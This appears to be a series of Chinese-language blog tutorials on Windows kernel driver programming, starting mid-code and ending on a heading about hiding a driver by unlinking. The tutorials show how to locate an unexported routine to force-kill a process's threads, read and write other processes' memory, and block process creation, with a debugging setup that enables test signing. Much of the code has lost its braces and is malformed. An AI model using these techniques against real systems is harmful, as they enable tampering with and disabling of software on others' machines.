nt!PsTerminateSystemThread+0x24 (fffff802`254e6ab4) Branch UCHAR pSpecialData[50] = { 0 }; ULONG ulSpecialDataSize = 0; // fffff802`254e6aaf e80cb6f6ff call nt!PspTerminateThreadByPointer (fffff802`254520c0) pSpecialData[0] = 0xE8; ulSpecialDataSize = 1; // 搜索地址 PsTerminateSystemThread --> PsTerminateSystemThread + 0xff 查找 e80cb6f6ff pAddress = SearchMemory(pPsTerminateSystemThread, (PVOID)((PUCHAR)pPsTerminateSystemThread + 0xFF), pSpecialData, ulSpecialDataSize); if (NULL == pAddress) return 0; // 先获取偏移,再计算地址 lOffset = *(PLONG)pAddress; pPspTerminateThreadByPointer = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); if (NULL == pPspTerminateThreadByPointer) return 0; return pPspTerminateThreadByPointer; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("驱动已卸载 \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); PVOID address = PspTerminateThreadByPointer(); DbgPrint("PspTerminateThreadByPointer = 0x%p \n", address); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行驱动程序,首先得到PspTerminateThreadByPointer的内存地址,效果如下。得到内存地址以后直接将地址typedef转为指针函数,调用并批量结束进程内的线程即可。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate); VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("驱动已卸载 \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); PVOID pPspTerminateThreadByPointerAddress = 0xFFFFF802254520C0; HANDLE hProcessId = 6956; PEPROCESS pEProcess = NULL; PETHREAD pEThread = NULL; PEPROCESS pThreadEProcess = NULL; NTSTATUS status = STATUS_SUCCESS; ULONG i = 0; // 获取结束进程的进程结构对象EPROCESS status = PsLookupProcessByProcessId(hProcessId, &pEProcess); if (!NT_SUCCESS(status)) return status; // 遍历所有线程, 并结束所有指定进程的线程 for (i = 4; i < 0x80000; i = i + 4) status = PsLookupThreadByThreadId((HANDLE)i, &pEThread); if (NT_SUCCESS(status)) // 获取线程对应的进程结构对象 pThreadEProcess = PsGetThreadProcess(pEThread); // 结束进程中的线程 if (pEProcess == pThreadEProcess) ((PSPTERMINATETHREADBYPOINTER)pPspTerminateThreadByPointerAddress)(pEThread, 0, 1); DbgPrint("结束线程: %d \n", i); ObDereferenceObject(pEThread); ObDereferenceObject(pEProcess); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }循环结束进程6956内的所有线程信息,效果如下;

驱动开发:WinDBG 配置内核双机调试

WinDBG 是在windows平台下,强大的用户态和内核态调试工具,相比较于Visual Studio它是一个轻量级的调试工具,所谓轻量级指的是它的安装文件大小较小,但是其调试功能却比VS更为强大,WinDBG由于是微软的产品所以能够调试Windows系统的内核,另外一个用途是可以用来分析dump数据,本笔记用于记录如何开启Windows系统内核调试功能,并使用WinDBG调试驱动。1.首先需要安装VmWare虚拟机,并自行安装好Windows 10系统,虚拟机关闭状态下添加一个管道虚拟串口,此处需要删除打印机,否则串口之间冲突。操作步骤:编辑虚拟机设置 -> 添加 -> 串行端口 -> 完成参数配置:使用命名管道 -> \\.\pipe\com_1 -> 该端是服务器,另一端是应用程序 -> 轮询时主动放弃CPU->确定2.开启虚拟机中的Windows系统,然后以管理员身份运行CMD命令行,输入bcdedit命令,可以查看到系统的当前启动项,如果是新的系统,则只会有{current}启动项以及一个{bootmgr}项。连续执行下方的三条命令,依次建立启动项,并激活调试模式。C:\LyShark > bcdedit /set testsigning on C:\LyShark > bcdedit -debug on C:\LyShark > bcdedit /bootdebug on C:\LyShark > bcdedit /set "{current}" bootmenupolicy Legacy // 修改启动方式为Legacy C:\LyShark > bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200 // 设置串口1为调试端口波特率为115200 C:\LyShark > bcdedit /copy "{current}" /d "Debug" // 将当前配置复制到Debug启动配置 C:\LyShark > bcdedit /debug "{<新建的启动配置的标识符>}" on // 打开调试开关一气呵成,但需要注意{<新建的启动配置的标识符>}需替换成{bdb0b3b6-3f21-11ed-9931-d46011246f28}标志,如下所示。3.最后查看一下当前调试配置选项,执行命令 bcdedit /dbgsettings,显示出使用的第一个串口,波特率为115200bps,保持默认不需要修改。4.配置完成后,重新启动系统,在开机的时候选择Windows10 [启用调试程序]则系统会黑屏,说明已经正常进入调试模式了。5.回到物理机上面,我们在命令行中切换到WinDBG的根目录下,并执行以下命令,即可连接虚拟机串口进行调试了。执行命令 windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe 如下图6.至此我们还需要加载符号,在命令行下依次执行以下命令,配置好符号加载并启动系统。kd> .sympath SRV*c:\mySymbols*http://msdl.microsoft.com/download/symbols kd> .reload kd> g kd> g kd> ed nt!Kd_SXS_Mask 0 kd> ed nt!Kd_FUSION_Mask 0 kd> u KiSystemServiceUser这样即可完成配置操作。7.最后我们配置测试一下调试功能,首先编写以下代码,代码中使用DbgBreakPoint()设置断点,将会在入口处中断。#include <ntifs.h> NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) NTSTATUS status = STATUS_SUCCESS; pIrp->IoStatus.Status = status; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return status; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("驱动已卸载 \n"); // By: LyShark NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) // 初始化默认派遣函数 NTSTATUS status = STATUS_SUCCESS; Driver->DriverUnload = UnDriver; for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) Driver->MajorFunction[i] = DriverDefaultHandle; // 设置断点 DbgBreakPoint(); // KdBreakPoint(); // __debugbreak(); DbgPrint("驱动已加载 \n"); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }当Windows系统加载完成以后,拖入我们的驱动文件WinDDK.sys,并通过驱动加载工具加载运行,此时Windows系统会卡死,回到WinDBG中发现已经可以进行调试了。

驱动开发:内核中枚举进线程与模块

内核枚举进程使用PspCidTable 这个未公开的函数,它能最大的好处是能得到进程的EPROCESS地址,由于是未公开的函数,所以我们需要变相的调用这个函数,通过PsLookupProcessByProcessId函数查到进程的EPROCESS,如果PsLookupProcessByProcessId返回失败,则证明此进程不存在,如果返回成功则把EPROCESS、PID、PPID、进程名等通过DbgPrint打印到屏幕上。内核枚举进程: 进程就是活动起来的程序,每一个进程在内核里,都有一个名为 EPROCESS 的结构记录它的详细信息,其中就包括进程名,PID,PPID,进程路径等,通常在应用层枚举进程只列出所有进程的编号即可,不过在内核层需要把它的 EPROCESS 地址给列举出来。内核枚举进程使用PspCidTable 这个未公开的函数,它能最大的好处是能得到进程的EPROCESS地址,由于是未公开的函数,所以我们需要变相的调用这个函数,通过PsLookupProcessByProcessId函数查到进程的EPROCESS,如果PsLookupProcessByProcessId返回失败,则证明此进程不存在,如果返回成功则把EPROCESS、PID、PPID、进程名等通过DbgPrint打印到屏幕上。#include <ntifs.h> NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process); //未公开的进行导出即可 NTKERNELAPI HANDLE PsGetProcessInheritedFromUniqueProcessId(IN PEPROCESS Process);//未公开进行导出 // 根据进程ID返回进程EPROCESS结构体,失败返回NULL PEPROCESS LookupProcess(HANDLE Pid) PEPROCESS eprocess = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; Status = PsLookupProcessByProcessId(Pid, &eprocess); if (NT_SUCCESS(Status)) return eprocess; return NULL; VOID EnumProcess() PEPROCESS eproc = NULL; for (int temp = 0; temp < 100000; temp += 4) eproc = LookupProcess((HANDLE)temp); if (eproc != NULL) DbgPrint("进程名: %s --> 进程PID = %d --> 父进程PPID = %d\r\n",PsGetProcessImageFileName(eproc),PsGetProcessId(eproc), PsGetProcessInheritedFromUniqueProcessId(eproc)); ObDereferenceObject(eproc); VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) EnumProcess(); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }内核枚举线程: 内核线程的枚举与进程相似,线程中也存在一个ETHREAD结构,但在枚举线程之前需要先来枚举到指定进程的eprocess结构,然后在根据eprocess结构对指定线程进行枚举。#include <ntddk.h> #include <windef.h> // 声明API NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process); NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE Id, PEPROCESS *Process); NTKERNELAPI NTSTATUS PsLookupThreadByThreadId(HANDLE Id, PETHREAD *Thread); NTKERNELAPI PEPROCESS IoThreadToProcess(PETHREAD Thread); //根据进程ID返回进程EPROCESS,失败返回NULL PEPROCESS LookupProcess(HANDLE Pid) PEPROCESS eprocess = NULL; if (NT_SUCCESS(PsLookupProcessByProcessId(Pid, &eprocess))) return eprocess; return NULL; //根据线程ID返回线程ETHREAD,失败返回NULL PETHREAD LookupThread(HANDLE Tid) PETHREAD ethread; if (NT_SUCCESS(PsLookupThreadByThreadId(Tid, &ethread))) return ethread; return NULL; //枚举指定进程中的线程 VOID EnumThread(PEPROCESS Process) ULONG i = 0, c = 0; PETHREAD ethrd = NULL; PEPROCESS eproc = NULL; for (i = 4; i<262144; i = i + 4) // 一般来说没有超过100000的PID和TID ethrd = LookupThread((HANDLE)i); if (ethrd != NULL) //获得线程所属进程 eproc = IoThreadToProcess(ethrd); if (eproc == Process) //打印出ETHREAD和TID DbgPrint("线程: ETHREAD=%p TID=%ld\n",ethrd,(ULONG)PsGetThreadId(ethrd)); ObDereferenceObject(ethrd); // 通过枚举的方式定位到指定的进程,这里传递一个进程名称 VOID MyEnumThread(char *ProcessName) ULONG i = 0; PEPROCESS eproc = NULL; for (i = 4; i<100000000; i = i + 4) eproc = LookupProcess((HANDLE)i); if (eproc != NULL) ObDereferenceObject(eproc); if (strstr(PsGetProcessImageFileName(eproc), ProcessName) != NULL) EnumThread(eproc); // 相等则说明是我们想要的进程,直接枚举其中的线程 VOID DriverUnload(IN PDRIVER_OBJECT DriverObject){} NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) MyEnumThread("calc.exe"); DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }内核枚举进程模块: 枚举进程中的所有模块信息,DLL模块记录在 PEB 的 LDR 链表里,LDR 是一个双向链表,枚举链表即可,相应的卸载可使用MmUnmapViewOfSection函数,分别传入进程的EPROCESS,DLL模块基址即可。#include <ntddk.h> #include <windef.h> //声明结构体 typedef struct _KAPC_STATE LIST_ENTRY ApcListHead[2]; PKPROCESS Process; UCHAR KernelApcInProgress; UCHAR KernelApcPending; UCHAR UserApcPending; } KAPC_STATE, *PKAPC_STATE; typedef struct _LDR_DATA_TABLE_ENTRY LIST_ENTRY64 InLoadOrderLinks; LIST_ENTRY64 InMemoryOrderLinks; LIST_ENTRY64 InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; PVOID SectionPointer; ULONG CheckSum; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY64 ForwarderLinks; LIST_ENTRY64 ServiceTagLinks; LIST_ENTRY64 StaticLinks; PVOID ContextInformation; ULONG64 OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; ULONG64 LdrInPebOffset = 0x018; //peb.ldr ULONG64 ModListInPebOffset = 0x010; //peb.ldr.InLoadOrderModuleList //声明API NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process); NTKERNELAPI PPEB PsGetProcessPeb(PEPROCESS Process); NTKERNELAPI HANDLE PsGetProcessInheritedFromUniqueProcessId(IN PEPROCESS Process); //根据进程ID返回进程EPROCESS,失败返回NULL PEPROCESS LookupProcess(HANDLE Pid) PEPROCESS eprocess = NULL; if (NT_SUCCESS(PsLookupProcessByProcessId(Pid, &eprocess))) return eprocess; return NULL; //枚举指定进程的模块 VOID EnumModule(PEPROCESS Process) SIZE_T Peb = 0; SIZE_T Ldr = 0; PLIST_ENTRY ModListHead = 0; PLIST_ENTRY Module = 0; ANSI_STRING AnsiString; KAPC_STATE ks; //EPROCESS地址无效则退出 if (!MmIsAddressValid(Process)) return; //获取PEB地址 Peb = (SIZE_T)PsGetProcessPeb(Process); //PEB地址无效则退出 if (!Peb) return; //依附进程 KeStackAttachProcess(Process, &ks); __try //获得LDR地址 Ldr = Peb + (SIZE_T)LdrInPebOffset; //测试是否可读,不可读则抛出异常退出 ProbeForRead((CONST PVOID)Ldr, 8, 8); //获得链表头 ModListHead = (PLIST_ENTRY)(*(PULONG64)Ldr + ModListInPebOffset); //再次测试可读性 ProbeForRead((CONST PVOID)ModListHead, 8, 8); //获得第一个模块的信息 Module = ModListHead->Flink; while (ModListHead != Module) //打印信息:基址、大小、DLL路径 DbgPrint("模块基址=%p 大小=%ld 路径=%wZ\n",(PVOID)(((PLDR_DATA_TABLE_ENTRY)Module)->DllBase), (ULONG)(((PLDR_DATA_TABLE_ENTRY)Module)->SizeOfImage),&(((PLDR_DATA_TABLE_ENTRY)Module)->FullDllName)); Module = Module->Flink; //测试下一个模块信息的可读性 ProbeForRead((CONST PVOID)Module, 80, 8); __except (EXCEPTION_EXECUTE_HANDLER){;} //取消依附进程 KeUnstackDetachProcess(&ks); // 通过枚举的方式定位到指定的进程,这里传递一个进程名称 VOID MyEnumModule(char *ProcessName) ULONG i = 0; PEPROCESS eproc = NULL; for (i = 4; i<100000000; i = i + 4) eproc = LookupProcess((HANDLE)i); if (eproc != NULL) ObDereferenceObject(eproc); if (strstr(PsGetProcessImageFileName(eproc), ProcessName) != NULL) EnumModule(eproc); // 相等则说明是我们想要的进程,直接枚举其中的线程 VOID DriverUnload(IN PDRIVER_OBJECT DriverObject){} NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) MyEnumModule("calc.exe"); DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }内核枚举加载SYS文件: 内核中的SYS文件也是通过双向链表的方式相连接的,我们可以通过遍历LDR_DATA_TABLE_ENTRY结构(遍历自身DriverSection成员),就能够得到全部的模块信息。#include <ntddk.h> #include <wdm.h> typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImages; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; union { struct { ULONG TimeDateStamp; struct { PVOID LoadedImports; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; VOID DriverUnload(IN PDRIVER_OBJECT DriverObject){} NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) ULONG count = 0; NTSTATUS Status; DriverObject->DriverUnload = DriverUnload; PLDR_DATA_TABLE_ENTRY pLdr = NULL; PLIST_ENTRY pListEntry = NULL; PLDR_DATA_TABLE_ENTRY pModule = NULL; PLIST_ENTRY pCurrentListEntry = NULL; pLdr = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection; pListEntry = pLdr->InLoadOrderLinks.Flink; pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) pModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pModule->BaseDllName.Buffer != 0) DbgPrint("基址:%p ---> 偏移:%p ---> 结束地址:%p---> 模块名:%wZ \r\n", pModule->DllBase, pModule->SizeOfImages - (LONGLONG)pModule->DllBase, (LONGLONG)pModule->DllBase + pModule->SizeOfImages,pModule->BaseDllName); pCurrentListEntry = pCurrentListEntry->Flink; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS;

驱动开发:内核监控进程与线程创建

监控进程的启动与退出可以使用 PsSetCreateProcessNotifyRoutineEx 来创建回调,当新进程产生时,回调函数会被率先执行,然后执行我们自己的MyCreateProcessNotifyEx函数,并在内部进行打印输出。#include <ntddk.h> NTKERNELAPI PCHAR PsGetProcessImageFileName(PEPROCESS Process); NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); PCHAR GetProcessNameByProcessId(HANDLE ProcessId) NTSTATUS st = STATUS_UNSUCCESSFUL; PEPROCESS ProcessObj = NULL; PCHAR string = NULL; st = PsLookupProcessByProcessId(ProcessId, &ProcessObj); if (NT_SUCCESS(st)) string = PsGetProcessImageFileName(ProcessObj); ObfDereferenceObject(ProcessObj); return string; VOID MyCreateProcessNotifyEx(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo) char ProcName[16] = { 0 }; if (CreateInfo != NULL) strcpy(ProcName, PsGetProcessImageFileName(Process)); DbgPrint("父进程ID: %ld --->父进程名: %s --->进程名: %s---->进程路径:%wZ", CreateInfo->ParentProcessId, GetProcessNameByProcessId(CreateInfo->ParentProcessId), PsGetProcessImageFileName(Process),CreateInfo->ImageFileName); strcpy(ProcName, PsGetProcessImageFileName(Process)); DbgPrint("进程[ %s ] 离开了,程序被关闭了",ProcName); VOID UnDriver(PDRIVER_OBJECT driver) PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)MyCreateProcessNotifyEx, TRUE); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) NTSTATUS status; status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)MyCreateProcessNotifyEx, FALSE); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }在上方代码基础上进行一定的改进,思路:通过PsGetProcessImageFileName即将PID转换为进程名,然后通过_stricmp对比,如果发现是calc.exe进程则拒绝执行,禁止特定服务的运行,实现代码如下:#include <ntddk.h> NTKERNELAPI PCHAR PsGetProcessImageFileName(PEPROCESS Process); NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); PCHAR GetProcessNameByProcessId(HANDLE ProcessId) NTSTATUS st = STATUS_UNSUCCESSFUL; PEPROCESS ProcessObj = NULL; PCHAR string = NULL; st = PsLookupProcessByProcessId(ProcessId, &ProcessObj); if (NT_SUCCESS(st)) string = PsGetProcessImageFileName(ProcessObj); ObfDereferenceObject(ProcessObj); return string; VOID MyCreateProcessNotifyEx(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo) char ProcName[16] = { 0 }; if (CreateInfo != NULL) strcpy(ProcName, PsGetProcessImageFileName(Process)); if (!_stricmp(ProcName, "calc.exe")) CreateInfo->CreationStatus = STATUS_UNSUCCESSFUL; VOID UnDriver(PDRIVER_OBJECT driver) PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)MyCreateProcessNotifyEx, TRUE); DbgPrint(("驱动卸载成功")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) NTSTATUS status; status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)MyCreateProcessNotifyEx, FALSE); Driver->DriverUnload = UnDriver; DbgPrint("驱动加载成功!"); return STATUS_SUCCESS; }将上方代码编译,当我们加载驱动程序以后,再次打开C:\Windows\System32\calc.exe 计算器进程则提示无法打开,我们的驱动已经成功的拦截了本次的请求。而检测线程操作与检测进程差不多,检测线程需要调用PsSetCreateThreadNotifyRoutine 创建回调函数,然后就可以检测线程的创建了,具体代码如下:#include <ntddk.h> NTKERNELAPI PCHAR PsGetProcessImageFileName(PEPROCESS Process); NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); VOID MyCreateThreadNotify(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) PEPROCESS eprocess = NULL; PsLookupProcessByProcessId(ProcessId, &eprocess); // 通过此函数拿到程序的EPROCESS结构 if (Create) DbgPrint("线程TID: %1d --> 所属进程名: %s --> 进程PID: %1d \n", ThreadId, PsGetProcessImageFileName(eprocess), PsGetProcessId(eprocess)); DbgPrint("%s 线程已退出...", ThreadId); VOID UnDriver(PDRIVER_OBJECT driver) PsRemoveCreateThreadNotifyRoutine(MyCreateThreadNotify); DbgPrint(("驱动卸载成功")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) NTSTATUS status; status = PsSetCreateThreadNotifyRoutine(MyCreateThreadNotify); DbgPrint("PsSetCreateThreadNotifyRoutine: %x", status); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS;

驱动开发:内核MDL读写进程内存

MDL内存读写是最常用的一种读写模式,通常需要附加到指定进程空间内然后调用内存拷贝得到对端内存中的数据,在调用结束后再将其空间释放掉,通过这种方式实现内存读写操作,此种模式的读写操作也是最推荐使用的相比于CR3切换来说,此方式更稳定并不会受寄存器的影响。MDL读取内存步骤1.调用PsLookupProcessByProcessId得到进程Process结构2.调用KeStackAttachProcess附加到对端进程内3.调用ProbeForRead检查内存是否可读写4.拷贝内存空间中的数据到自己的缓冲区内5.调用KeUnstackDetachProcess接触绑定6.调用ObDereferenceObject使对象引用数减1代码总结起来应该是如下样子,用户传入一个结构体,输出对应长度的字节数据:#include <ntifs.h> #include <windef.h> typedef struct DWORD pid; // 要读写的进程ID DWORD64 address; // 要读写的地址 DWORD size; // 读写长度 BYTE* data; // 要读写的数据 }ReadMemoryStruct; // MDL读内存 BOOL MDLReadMemory(ReadMemoryStruct* data) BOOL bRet = TRUE; PEPROCESS process = NULL; PsLookupProcessByProcessId(data->pid, &process); if (process == NULL) return FALSE; BYTE* GetData; __try GetData = ExAllocatePool(PagedPool, data->size); __except (1) return FALSE; KAPC_STATE stack = { 0 }; KeStackAttachProcess(process, &stack); __try ProbeForRead(data->address, data->size, 1); RtlCopyMemory(GetData, data->address, data->size); __except (1) bRet = FALSE; ObDereferenceObject(process); KeUnstackDetachProcess(&stack); RtlCopyMemory(data->data, GetData, data->size); ExFreePool(GetData); return bRet; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint(("hello lyshark \n")); ReadMemoryStruct ptr; ptr.pid = 6672; ptr.address = 0x402c00; ptr.size = 100; // 分配空间接收数据 ptr.data = ExAllocatePool(PagedPool, ptr.size); // 读内存 MDLReadMemory(&ptr); // 输出数据 for (size_t i = 0; i < 100; i++) DbgPrint("%x \n", ptr.data[i]); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }读取内存地址0x402c00效果如下所示:MDL写入内存步骤1.调用PsLookupProcessByProcessId得到进程Process结构2.调用KeStackAttachProcess附加到对端进程内3.调用ProbeForRead检查内存是否可读写4.拷贝内存空间中的数据到自己的缓冲区内5.调用MmMapLockedPages锁定当前内存页面(写入)6.调用RtlCopyMemory内存拷贝完成写入(写入)7.调用IoFreeMdl释放MDL锁(写入)8.调用KeUnstackDetachProcess接触绑定9.调用ObDereferenceObject使对象引用数减1写入时与读取类似,只是多了锁定页面和解锁操作。#include <ntifs.h> #include <windef.h> typedef struct DWORD pid; // 要读写的进程ID DWORD64 address; // 要读写的地址 DWORD size; // 读写长度 BYTE* data; // 要读写的数据 }ReadMemoryStruct; // MDL写内存 BOOL MDLWriteMemory(ReadMemoryStruct* data) BOOL bRet = TRUE; PEPROCESS process = NULL; PsLookupProcessByProcessId(data->pid, &process); if (process == NULL) return FALSE; BYTE* GetData; __try GetData = ExAllocatePool(PagedPool, data->size); __except (1) return FALSE; for (int i = 0; i < data->size; i++) GetData[i] = data->data[i]; KAPC_STATE stack = { 0 }; KeStackAttachProcess(process, &stack); PMDL mdl = IoAllocateMdl(data->address, data->size, 0, 0, NULL); if (mdl == NULL) return FALSE; MmBuildMdlForNonPagedPool(mdl); BYTE* ChangeData = NULL; __try ChangeData = MmMapLockedPages(mdl, KernelMode); RtlCopyMemory(ChangeData, GetData, data->size); __except (1) bRet = FALSE; goto END; IoFreeMdl(mdl); ExFreePool(GetData); KeUnstackDetachProcess(&stack); ObDereferenceObject(process); return bRet; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint(("hello lyshark \n")); ReadMemoryStruct ptr; ptr.pid = 6672; ptr.address = 0x402c00; ptr.size = 5; // 需要写入的数据 ptr.data = ExAllocatePool(PagedPool, ptr.size); // 循环设置 for (size_t i = 0; i < 5; i++) ptr.data[i] = 0x90; // 写内存 MDLWriteMemory(&ptr); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }写出效果如下:

驱动开发:通过内存拷贝读写内存

内核中读写内存的方式有很多,典型的读写方式有CR3读写,MDL读写,以及今天要给大家分享的内存拷贝实现读写,拷贝读写的核心是使用MmCopyVirtualMemory这个内核API函数实现,通过调用该函数即可很容易的实现内存的拷贝读写。封装KeReadProcessMemory()内存读取。#include <ntifs.h> #include <windef.h> #include <stdlib.h> NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process); NTSTATUS NTAPI MmCopyVirtualMemory(PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize); // 定义全局EProcess结构 PEPROCESS Global_Peprocess = NULL; // 普通Ke内存读取 NTSTATUS KeReadProcessMemory(PVOID SourceAddress, PVOID TargetAddress, SIZE_T Size) __try PEPROCESS TargetProcess = PsGetCurrentProcess(); SIZE_T Result; if (NT_SUCCESS(MmCopyVirtualMemory(Global_Peprocess, SourceAddress, TargetProcess, TargetAddress, Size, KernelMode, &Result))) return STATUS_SUCCESS; return STATUS_ACCESS_DENIED; __except (EXCEPTION_EXECUTE_HANDLER) return STATUS_ACCESS_DENIED; return STATUS_ACCESS_DENIED; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("Uninstall Driver Is OK \n"); // By:lyshark.cnblogs.com NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); // 根据PID打开进程 DWORD PID = 6672; NTSTATUS nt = PsLookupProcessByProcessId((HANDLE)PID, &Global_Peprocess); DWORD ref_value = 0; // 将地址处读取4字节到ref_value中 NTSTATUS read_nt = KeReadProcessMemory((PVOID)0x0009EDC8, &ref_value, 4); DbgPrint("读出数据: %d \n", ref_value); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }读取效果如下:封装KeWriteProcessMemory()内存读取。#include <ntifs.h> #include <windef.h> #include <stdlib.h> NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process); NTSTATUS NTAPI MmCopyVirtualMemory(PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize); // 定义全局EProcess结构 PEPROCESS Global_Peprocess = NULL; // 普通Ke内存写入 NTSTATUS KeWriteProcessMemory(PVOID SourceAddress, PVOID TargetAddress, SIZE_T Size) PEPROCESS SourceProcess = PsGetCurrentProcess(); PEPROCESS TargetProcess = Global_Peprocess; SIZE_T Result; if (NT_SUCCESS(MmCopyVirtualMemory(SourceProcess, SourceAddress, TargetProcess, TargetAddress, Size, KernelMode, &Result))) return STATUS_SUCCESS; return STATUS_ACCESS_DENIED; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("Uninstall Driver Is OK \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); // 根据PID打开进程 DWORD PID = 6672; NTSTATUS nt = PsLookupProcessByProcessId((HANDLE)PID, &Global_Peprocess); DWORD ref_value = 10; // 将地址处写出4字节 NTSTATUS read_nt = KeWriteProcessMemory((PVOID)0x0009EDC8, &ref_value, 4); DbgPrint("写入数据: %d \n", ref_value); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }写出内存效果:

驱动开发:断链隐藏驱动程序自身

